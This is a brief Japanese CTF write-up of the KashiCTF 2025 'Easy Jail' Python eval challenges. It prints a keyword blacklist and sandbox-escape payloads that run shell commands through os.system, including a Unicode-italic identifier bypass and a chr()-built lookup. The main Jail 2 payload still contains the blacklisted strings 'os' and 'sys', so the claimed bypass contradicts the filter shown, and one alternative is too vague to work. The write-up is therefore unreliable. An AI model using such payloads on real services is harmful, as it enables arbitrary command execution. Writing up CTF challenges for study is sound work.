KashiCTF 2025 - Easy Jail 1/2
Challenge
Easy Jail 1
基本的な eval pyjail。
code = input()print(eval(code))Easy Jail 2
ブラックリストフィルタ付き。
BLACKLIST = ['import', 'os', 'sys', 'open', 'read', 'eval', 'exec']
code = input()
for word in BLACKLIST: if word in code.lower(): print("Blocked!") exit()
eval(code)Solution
Easy Jail 1
直接的なコード実行:
__import__('os').system('cat /flag.txt')Easy Jail 2: Unicode バイパス
Unicode の数学イタリック文字を使用:
__𝘪𝘮𝘱𝘰𝘳𝘵__('os').system('cat ../flag.txt')これらの文字は ASCII ではないため、.lower() や文字列比較をバイパスする。
Technical Details
数学イタリック文字
| ASCII | Unicode Math Italic | コードポイント |
|---|---|---|
| i | 𝘪 | U+1D62A |
| m | 𝘮 | U+1D62E |
| p | 𝘱 | U+1D631 |
| o | 𝘰 | U+1D630 |
| r | 𝘳 | U+1D633 |
| t | 𝘵 | U+1D635 |
NFKC 正規化
Python の識別子は NFKC 正規化される:
import unicodedata
# 数学イタリック 'a' → ASCII 'a'unicodedata.normalize('NFKC', '𝘢') # 'a'フィルタの盲点
# フィルタは ASCII 'import' をチェック'import' in '𝘪𝘮𝘱𝘰𝘳𝘵' # False
# しかし Python は NFKC 正規化後に識別子として認識# __𝘪𝘮𝘱𝘰𝘳𝘵__ は __import__ として動作Alternative Solutions
別解1: 全角文字
import os# 全角スペースと全角文字を使用別解2: chr() 構築
getattr(__builtins__, chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116))Flag
KashiCTF{...}